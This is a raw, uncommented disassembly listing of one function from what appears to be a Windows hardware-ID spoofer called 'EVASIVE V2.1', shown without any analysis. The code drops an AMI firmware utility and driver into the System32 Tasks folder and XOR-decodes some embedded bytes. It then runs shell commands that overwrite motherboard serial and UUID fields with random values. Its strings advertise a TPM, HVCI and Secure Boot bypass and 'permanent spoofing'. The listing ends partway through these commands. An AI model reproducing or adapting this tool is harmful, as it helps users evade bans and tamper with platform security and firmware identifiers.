Function at 0x140041de0
Capabilities:
Delete file
Execute command
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x2d8]
sub rsp, 0x3d0
movaps xmmword [rax - 0x18], xmm6
movaps xmmword [rax - 0x28], xmm7
movaps xmmword [rax - 0x38], xmm8
movaps xmmword [rax - 0x48], xmm9
movaps xmmword [rax - 0x58], xmm10
movaps xmmword [rax - 0x68], xmm11
movaps xmmword [rax - 0x78], xmm12
movaps xmmword [rax - 0x88], xmm13
movaps xmmword [rax - 0x98], xmm14
movaps xmmword [rax - 0xa8], xmm15
mov rax, qword [0x1401a38c0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rcx, qword [0x140347928]
call fcn.1400107b0
mov rdx, qword [0x1401a4200]
call fcn.140033f90
mov rbx, qword [0x140346fb0]
mov rax, qword [rbx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rsi, qword [rbx + 0x3ef0]
movss xmm0, dword [rsi + 0x28]
subss xmm0, dword [0x14018626c]
movss xmm1, dword [0x14018624c]
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.140035bb0
test al, al
je 0x140041eaf
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x1403478d0]
call fcn.1400107b0
movss xmm1, dword [rsi + 0x2c]
subss xmm1, dword [0x140186280]
movss xmm0, dword [0x140186248]
unpcklps xmm0, xmm1
movq rdx, xmm0
call fcn.140036180
movss xmm1, dword [0x1403478e8]
movss dword [rbx + 0x37f0], xmm1
xor r14d, r14d
mov rdi, 0xffffffffffffffff
movss xmm13, dword [0x1401861cc]
xorps xmm8, xmm8
movss xmm14, dword [0x1401861e8]
movss xmm12, dword [0x1401862d4]
movss xmm11, dword [0x140186188]
movss xmm10, dword [0x1401862cc]
movss xmm15, dword [0x140186260]
movss xmm9, dword [0x140186298]
mov eax, dword [0x1403478b8]
test eax, eax
jne 0x1400420c5
mov rax, qword [0x140346fb0]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x50], 0x3f800000
mov dword [rsp + 0x70], r14d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm14
addss xmm0, xmm1
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x70]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x50]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478e8], xmm0
movss xmm2, dword [rsi + 0x28]
subss xmm2, xmm12
mulss xmm2, xmm11
movss xmm1, dword [0x1401862b4]
unpcklps xmm2, xmm1
movq rdx, xmm2
call fcn.14003a620
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
xor r8d, r8d
lea rdx, [0x140174076]
lea rcx, [rbp - 0x40]
call fcn.140038af0
movss xmm1, dword [0x140186254]
movss xmm2, dword [rsi + 0x28]
subss xmm2, xmm12
mulss xmm2, xmm11
lea r9, [rbp - 0x40]
movaps xmm0, xmm12
unpcklps xmm0, xmm1
movq r8, xmm0
unpcklps xmm2, xmm10
movq rdx, xmm2
lea rcx, str.Login
call fcn.140036b60
test al, al
je 0x140042082
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
lea rdx, [0x140346fc8]
mov r8, rdi
inc r8
cmp byte [rdx + r8], r14b
jne 0x140042046
lea rcx, [rbp - 0x40]
call fcn.140038af0
lea rdx, [rbp - 0x40]
lea rcx, [0x140347a90]
call fcn.1400ce9b0
cmp byte [0x140347ca0], r14b
je 0x140042082
mov dword [0x1403478e8], r14d
mov dword [0x1403478b8], 1
movss xmm2, dword [rsi + 0x2c]
subss xmm2, xmm15
movss xmm1, dword [rsi + 0x28]
subss xmm1, xmm9
movups xmm0, xmmword [0x1403477b0]
movdqa xmmword [rsp + 0x50], xmm0
lea r8, [rsp + 0x50]
unpcklps xmm1, xmm2
movq rdx, xmm1
call fcn.140036430
movss xmm1, dword [0x1403478e8]
mov eax, dword [0x1403478b8]
test eax, eax
jle 0x14004254b
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], r14d
mov rbx, qword [0x140346fb0]
movss xmm1, dword [rbx + 0x18]
addss xmm1, xmm1
mulss xmm1, xmm14
movaps xmm0, xmm1
addss xmm0, dword [0x1403478ec]
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478ec], xmm0
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], r14d
addss xmm1, dword [0x140347930]
movss dword [rsp + 0x74], xmm1
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm1
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm1, xmm13
cmovbe rax, rcx
movss xmm6, dword [rax]
movss dword [0x140347930], xmm6
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x50], r14d
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.14001a600
movss dword [rbx + 0x37f0], xmm6
mov rax, qword [0x140346fb0]
movss xmm0, dword [0x1403477c0]
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [0x1403477c4]
movss dword [rsp + 0x54], xmm1
movss xmm0, dword [0x1403477c8]
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [0x1403477cc]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x5c], xmm1
lea rcx, [rsp + 0x50]
call fcn.140004590
movss xmm2, dword [rsi + 0x24]
addss xmm2, dword [0x140186284]
movss xmm1, dword [rsi + 0x20]
movaps xmm0, xmm1
addss xmm0, dword [rsi + 0x28]
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm2
addss xmm1, xmm8
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm2
movss xmm0, dword [0x1401861ec]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x74]
mov rcx, qword [rsi + 0x298]
call fcn.14001f2f0
mov rax, qword [0x140346fb0]
movss xmm0, dword [0x1403477c0]
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [0x1403477c4]
movss dword [rsp + 0x54], xmm1
movss xmm0, dword [0x1403477c8]
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [0x1403477cc]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x5c], xmm1
lea rcx, [rsp + 0x50]
call fcn.140004590
movss xmm1, dword [rsi + 0x2c]
subss xmm1, dword [0x140186224]
movss xmm2, dword [rsi + 0x24]
addss xmm1, xmm2
movss xmm0, dword [rsi + 0x20]
movss xmm7, dword [0x14018628c]
addss xmm0, xmm7
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm1
addss xmm2, dword [0x140186284]
movss dword [rsp + 0x74], xmm0
movss dword [rsp + 0x78], xmm2
movss xmm6, dword [0x1401861ec]
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x74]
mov rcx, qword [rsi + 0x298]
call fcn.14001f2f0
mov rax, qword [0x140346fb0]
movss xmm0, dword [0x1403477c0]
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [0x1403477c4]
movss dword [rsp + 0x54], xmm1
movss xmm0, dword [0x1403477c8]
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [0x1403477cc]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x5c], xmm1
lea rcx, [rsp + 0x50]
call fcn.140004590
movss xmm2, dword [rsi + 0x2c]
subss xmm2, xmm7
addss xmm2, dword [rsi + 0x24]
movss xmm1, dword [rsi + 0x20]
movaps xmm0, xmm1
addss xmm0, xmm7
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm2
addss xmm1, xmm8
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm2
movss dword [rsp + 0x20], xmm6
mov r9d, eax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x74]
mov rcx, qword [rsi + 0x298]
call fcn.14001f2f0
mov rcx, qword [0x1403478f0]
call fcn.1400107b0
cmp dword [0x1403478b8], 1
sete bl
mov rax, qword [0x140346fb0]
mov qword [rsp + 0x30], r14
lea rcx, [0x14017450c]
mov qword [rsp + 0x28], rcx
movss xmm6, dword [0x14018633c]
movss dword [rsp + 0x20], xmm6
movss xmm3, dword [0x14018632c]
movss xmm2, dword [rax + 0x3c40]
lea rdx, [rsp + 0x50]
mov rcx, qword [rax + 0x3c38]
call fcn.140024bb0
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [0x1401861c4]
cvttss2si eax, xmm0
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm7
subss xmm2, xmm0
mulss xmm2, xmm11
movss xmm1, dword [0x1401862b0]
movzx r8d, bl
unpcklps xmm2, xmm1
movq rdx, xmm2
lea rcx, str.G1
call fcn.1400398c0
test al, al
je 0x14004247b
mov dword [0x1403478e8], r14d
mov eax, 1
mov dword [0x1403478b8], eax
mov dword [0x14034790c], r14d
mov dword [reloc.WS2_32.dll_ioctlsocket], 0xa
jmp 0x140042481
mov eax, dword [0x1403478b8]
cmp eax, 2
sete bl
mov rax, qword [0x140346fb0]
mov qword [rsp + 0x30], r14
lea rcx, [0x140174514]
mov qword [rsp + 0x28], rcx
movss dword [rsp + 0x20], xmm6
movss xmm3, dword [0x14018632c]
movss xmm2, dword [rax + 0x3c40]
lea rdx, [rsp + 0x50]
mov rcx, qword [rax + 0x3c38]
call fcn.140024bb0
movss xmm0, dword [rsp + 0x50]
addss xmm0, dword [0x1401861c4]
cvttss2si eax, xmm0
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm7, xmm1
mulss xmm7, xmm11
movss xmm1, dword [0x1401862c4]
movzx r8d, bl
unpcklps xmm7, xmm1
movq rdx, xmm7
lea rcx, str.I1
call fcn.1400398c0
test al, al
je 0x14004252e
mov dword [0x1403478e8], r14d
mov dword [0x1403478b8], 2
mov dword [reloc.WS2_32.dll_ioctlsocket], r14d
mov dword [0x14034790c], 0xa
call fcn.140010850
mov ecx, 1
call fcn.1400048f0
movss xmm1, dword [0x1403478e8]
mov eax, dword [0x1403478b8]
movss xmm7, dword [0x140186258]
cmp eax, 1
jne 0x140042614
movss xmm6, dword [0x1403478ec]
mov rbx, qword [0x140346fb0]
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x50], r14d
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.14001a600
movss dword [rbx + 0x37f0], xmm6
cmp dword [0x14034790c], r14d
sete r8b
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Announcements
call fcn.140039e50
test al, al
je 0x1400425c9
mov eax, r14d
mov dword [0x14034790c], eax
jmp 0x1400425cf
mov eax, dword [0x14034790c]
cmp eax, 1
sete r8b
movaps xmm0, xmm10
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Instructions
call fcn.140039e50
test al, al
je 0x1400425fc
mov dword [0x14034790c], 1
mov ecx, 1
call fcn.1400048f0
movss xmm1, dword [0x1403478e8]
mov eax, dword [0x1403478b8]
cmp eax, 2
jne 0x14004270f
movss xmm6, dword [0x1403478ec]
mov rbx, qword [0x140346fb0]
lea rcx, [rbx + 0x4850]
movss xmm0, dword [rbx + 0x37f0]
mov dword [rsp + 0x50], r14d
movss dword [rsp + 0x54], xmm0
lea rdx, [rsp + 0x50]
call fcn.14001a600
movss dword [rbx + 0x37f0], xmm6
cmp dword [reloc.WS2_32.dll_ioctlsocket], r14d
sete r8b
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Device
call fcn.140039e50
test al, al
je 0x14004268a
mov eax, r14d
mov dword [reloc.WS2_32.dll_ioctlsocket], eax
jmp 0x140042690
mov eax, dword [reloc.WS2_32.dll_ioctlsocket]
cmp eax, 1
sete r8b
movss xmm0, dword [0x1401862bc]
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Spoofer
call fcn.140039e50
test al, al
je 0x1400426c4
mov eax, 1
mov dword [reloc.WS2_32.dll_ioctlsocket], eax
jmp 0x1400426ca
mov eax, dword [reloc.WS2_32.dll_ioctlsocket]
cmp eax, 2
sete r8b
movaps xmm0, xmm12
unpcklps xmm0, xmm7
movq rdx, xmm0
lea rcx, str.Miscellaneous
call fcn.140039e50
test al, al
je 0x1400426f7
mov dword [reloc.WS2_32.dll_ioctlsocket], 2
mov ecx, 1
call fcn.1400048f0
movss xmm1, dword [0x1403478e8]
mov eax, dword [0x1403478b8]
cmp dword [0x14034790c], r14d
jne 0x1400427d1
test eax, eax
jle 0x1400427d1
mov rax, qword [0x140346fb0]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], r14d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm14
addss xmm0, xmm1
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478e8], xmm0
movaps xmm0, xmm9
unpcklps xmm0, xmm15
movq r8, xmm0
lea rdx, str.Added_Full_Motherboard_Support
lea rcx, str.You_are_on_the_latest_EVASIVE_V2.1__10_13_24
call fcn.140035800
movaps xmm0, xmm9
unpcklps xmm0, xmm15
movq r8, xmm0
lea rdx, str.TPM_HVCI__Secure_Boot_bypass_added.
lea rcx, str.EVASIVE_V2.1__10_05_24
call fcn.140035800
movss xmm1, dword [0x1403478e8]
mov eax, dword [0x1403478b8]
movss xmm10, dword [0x14018625c]
cmp dword [reloc.WS2_32.dll_ioctlsocket], r14d
jne 0x140042c5a
test eax, eax
jle 0x140043899
mov rax, qword [0x140346fb0]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], r14d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm14
addss xmm0, xmm1
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478e8], xmm0
lea rdx, [0x140345d60]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movaps xmm0, xmm9
unpcklps xmm0, xmm10
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Manufacturer:
call fcn.140034d60
lea rdx, [0x140345dc0]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movaps xmm0, xmm9
unpcklps xmm0, xmm15
movq r8, xmm0
mov rdx, rax
lea rcx, str.Motherboard_Model:
call fcn.140034d60
lea rdx, [0x140345d00]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movaps xmm0, xmm9
movss xmm1, dword [0x14018626c]
unpcklps xmm0, xmm1
movq r8, xmm0
mov rdx, rax
lea rcx, str.Ethernet_Adapter:
call fcn.140034d60
movss xmm6, dword [0x140186274]
lea rdx, [0x140345e00]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movaps xmm0, xmm9
unpcklps xmm0, xmm6
movq r8, xmm0
mov rdx, rax
lea rcx, str.Disk_Drives:
call fcn.140034d60
movss xmm6, dword [0x140186278]
lea rdx, [0x140345d20]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movaps xmm0, xmm9
unpcklps xmm0, xmm6
movq r8, xmm0
mov rdx, rax
lea rcx, str.CPU:
call fcn.140034d60
mov rax, qword [0x140346fb0]
movss xmm0, dword [0x140347750]
movss dword [rsp + 0x50], xmm0
movss xmm1, dword [0x140347754]
movss dword [rsp + 0x54], xmm1
movss xmm0, dword [0x140347758]
movss dword [rsp + 0x58], xmm0
movss xmm1, dword [0x14034775c]
mulss xmm1, dword [rax + 0x37f0]
movss dword [rsp + 0x5c], xmm1
lea rcx, [rsp + 0x50]
call fcn.140004590
movss xmm2, dword [rsi + 0x104]
addss xmm2, dword [0x14018627c]
movss xmm1, dword [rsi + 0x100]
movaps xmm0, xmm1
addss xmm0, dword [rsi + 0x28]
movss dword [rsp + 0x50], xmm0
movss dword [rsp + 0x54], xmm2
addss xmm1, xmm9
movss dword [rsp + 0x74], xmm1
movss dword [rsp + 0x78], xmm2
movss xmm0, dword [0x1401861ec]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x74]
mov rcx, qword [rsi + 0x298]
call fcn.14001f2f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov r8d, 5
lea rdx, str.WIFI:
lea rcx, [rbp - 0x40]
call fcn.140038af0
mov r9b, 1
lea r8, [0x1403478f8]
movaps xmm0, xmm9
unpcklps xmm0, xmm12
movq rdx, xmm0
lea rcx, [rbp - 0x40]
call fcn.140035280
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov r8d, 0xa
lea rdx, str.Bluetooth:
lea rcx, [rbp - 0x40]
call fcn.140038af0
xor r9d, r9d
lea r8, [0x140347908]
movss xmm0, dword [0x1401862d0]
unpcklps xmm0, xmm12
movq rdx, xmm0
lea rcx, [rbp - 0x40]
call fcn.140035280
movups xmm6, xmmword [0x1403477f0]
movss xmm7, dword [0x1401862dc]
lea rdx, [0x140345de0]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movdqa xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x20], r14b
lea r9, [rsp + 0x50]
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.Baseboard:
call fcn.140034780
movups xmm6, xmmword [0x1403477d0]
movss xmm7, dword [0x1401862e0]
lea rdx, [0x140345da0]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movdqa xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x20], r14b
lea r9, [rsp + 0x50]
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.Chassis:
call fcn.140034780
movups xmm6, xmmword [0x1403477f0]
movss xmm7, dword [0x1401862ec]
lea rdx, [0x140345d80]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movdqa xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x20], 1
lea r9, [rsp + 0x50]
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.MAC_Address:
call fcn.140034780
movups xmm6, xmmword [0x1403477d0]
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
mov r8d, 9
lea rdx, str.Not_Found
lea rcx, [rbp - 0x40]
call fcn.140038af0
movdqa xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x20], r14b
lea r9, [rsp + 0x50]
movss xmm0, dword [0x1401862f4]
unpcklps xmm0, xmm7
movq r8, xmm0
lea rdx, [rbp - 0x40]
lea rcx, str.File_Traces:
call fcn.140034780
movups xmm6, xmmword [0x1403477f0]
movss xmm7, dword [0x1401862f0]
lea rdx, [0x140345d40]
lea rcx, [rbp - 0x80]
call fcn.1400367b0
movdqa xmmword [rsp + 0x50], xmm6
mov byte [rsp + 0x20], r14b
lea r9, [rsp + 0x50]
movaps xmm0, xmm9
unpcklps xmm0, xmm7
movq r8, xmm0
mov rdx, rax
lea rcx, str.UUID:
call fcn.140034780
movss xmm6, dword [0x140186304]
xorps xmm0, xmm0
movups xmmword [rbp - 0x60], xmm0
mov qword [rbp - 0x50], r14
mov qword [rbp - 0x48], r14
mov r8d, Ordinal_32
lea rdx, str.TPM__Trusted_Computing__Status:
lea rcx, [rbp - 0x60]
call fcn.140038af0
xor r9d, r9d
lea r8, [0x140347909]
movaps xmm0, xmm9
unpcklps xmm0, xmm6
movq rdx, xmm0
lea rcx, [rbp - 0x60]
call fcn.140035280
movss xmm1, dword [0x1403478e8]
movss xmm6, dword [0x1401862a0]
cmp dword [reloc.WS2_32.dll_ioctlsocket], 1
jne 0x140043807
mov rax, qword [0x140346fb0]
movss dword [rax + 0x37f0], xmm1
mov dword [rsp + 0x70], 0x3f800000
mov dword [rsp + 0x50], r14d
movss xmm0, dword [rax + 0x18]
addss xmm0, xmm0
mulss xmm0, xmm14
addss xmm0, xmm1
movss dword [rsp + 0x74], xmm0
lea rcx, [rsp + 0x50]
lea rax, [rsp + 0x74]
comiss xmm8, xmm0
cmovbe rcx, rax
lea rax, [rsp + 0x70]
comiss xmm0, xmm13
cmovbe rax, rcx
movss xmm0, dword [rax]
movss dword [0x1403478e8], xmm0
movss xmm2, dword [rsi + 0x28]
subss xmm2, xmm6
movss xmm7, dword [0x140186248]
subss xmm2, xmm7
movss xmm1, dword [0x1401862b8]
unpcklps xmm2, xmm1
movq r8, xmm2
movaps xmm1, xmm6
movss xmm0, dword [0x140186290]
unpcklps xmm1, xmm0
movq rdx, xmm1
call fcn.140033cb0
mov rbx, qword [0x140346fb0]
lea rcx, [rbx + 0x4850]
movss xmm1, dword [rbx + 0x383c]
movss xmm0, dword [rbx + 0x3840]
mov dword [rsp + 0x50], send
movss dword [rsp + 0x54], xmm1
movss dword [rsp + 0x58], xmm0
lea rdx, [rsp + 0x50]
call fcn.14001a600
mov qword [rbx + 0x383c], r14
call fcn.140038df0
mov rcx, qword [0x140346fb0]
mov rax, qword [rcx + 0x3ef0]
mov byte [rax + 0xb8], 1
mov rax, qword [rcx + 0x3ef0]
cmp byte [rax + 0xbb], r14b
jne 0x140042d8f
mov qword [rsp + 0x50], r14
movss xmm1, dword [0x14018633c]
lea rcx, [rsp + 0x50]
call fcn.1400130f0
mov ecx, 1
call fcn.1400048f0
call fcn.14000b030
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], r14
mov qword [rbp - 0x28], r14
xor r8d, r8d
lea rdx, [0x140174076]
lea rcx, [rbp - 0x40]
call fcn.140038af0
movss xmm0, dword [rsi + 0x28]
subss xmm0, xmm6
subss xmm0, xmm7
movss xmm1, dword [0x140186268]
movss xmm2, dword [0x1401862d8]
lea r9, [rbp - 0x40]
unpcklps xmm0, xmm1
movq r8, xmm0
movaps xmm1, xmm6
unpcklps xmm1, xmm2
movq rdx, xmm1
lea rcx, str.PERMAMENT_SPOOF
call fcn.140036b60
test al, al
je 0x14004338c
cmp byte [0x140346faa], r14b
jne 0x140043385
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, Ordinal_32
lea rdx, str.Launched_Permament_Spoofing_
lea rcx, [rsp + 0x50]
call fcn.140038af0
nop
movaps xmm0, xmm8
movss xmm1, dword [0x140186250]
unpcklps xmm0, xmm1
movq r8, xmm0
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140038cd0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140042e9c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042e97
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043379
call fcn.1400d9724
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
mov r8d, reloc.WLDAP32.dll_Ordinal_32
lea rdx, str.Please_be_patient_for_2_minutes.
lea rcx, [rsp + 0x50]
call fcn.140038af0
nop
movaps xmm0, xmm8
unpcklps xmm0, xmm10
movq r8, xmm0
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140038cd0
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x140042f1c
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042f17
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140043379
call fcn.1400d9724
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x40], xmm0
mov qword [rbp - 0x30], rax
mov eax, dword [0x140182c1c]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140182c20]
mov word [rsp + 0x54], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x50], gethostname
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor cl, 0x37
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x38
xor al, 0x39
mov byte [rsp + 0x56], al
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
lea rax, [rsp + 0x50]
mov r8, rdi
inc r8
cmp byte [rax + r8], 0
jne 0x140042f80
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140038af0
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x40]
lea rcx, [0x140347a90]
call fcn.1400cb420
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x110]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:WindowsSystem32TasksAMIDEWINx64.EXE
lea rcx, [rbp + 0x110]
call fcn.1400446b0
nop
mov r8, qword [rbp - 0x38]
mov rdx, qword [rbp - 0x40]
sub r8, rdx
lea rcx, [rbp + 0x110]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x118]
call fcn.140044a80
test rax, rax
jne 0x140043021
mov rax, qword [rbp + 0x110]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x110]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], rax
mov eax, dword [0x140182c40]
mov dword [rsp + 0x50], eax
movzx ecx, word [0x140182c44]
mov word [rsp + 0x54], cx
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x50], Ordinal_60
xor byte [rsp + 0x51], 0x34
xor byte [rsp + 0x52], 0x35
xor byte [rsp + 0x53], 0x36
xor cl, 0x37
mov byte [rsp + 0x54], cl
xor byte [rsp + 0x55], 0x38
xor al, 0x39
mov byte [rsp + 0x56], al
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], r14
mov qword [rbp - 0x68], r14
lea rax, [rsp + 0x50]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140043082
mov r8, rdi
lea rdx, [rsp + 0x50]
lea rcx, [rbp - 0x80]
call fcn.140038af0
lea r8, [rbp - 0x80]
lea rdx, [rbp - 0x20]
lea rcx, [0x140347a90]
call fcn.1400cb420
nop
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp]
call sub.VCRUNTIME140.dll_memset
lea rdx, str.C:WindowsSystem32Tasks_amifldrv64.sys
lea rcx, [rbp]
call fcn.1400446b0
nop
mov r8, qword [rbp - 0x18]
mov rdx, qword [rbp - 0x20]
sub r8, rdx
lea rcx, [rbp]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 8]
call fcn.140044a80
test rax, rax
jne 0x140043113
mov rax, qword [rbp]
movsxd rcx, dword [rax + 4]
lea rax, [rbp]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__IVN__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__IV__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__IV__RANDOM__RANDOM__RANDOM_
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cmd__C_C:WindowsSystem32TasksAMIDEWINx64.EXE__SM__RANDOM__RANDOM__RANDOM_
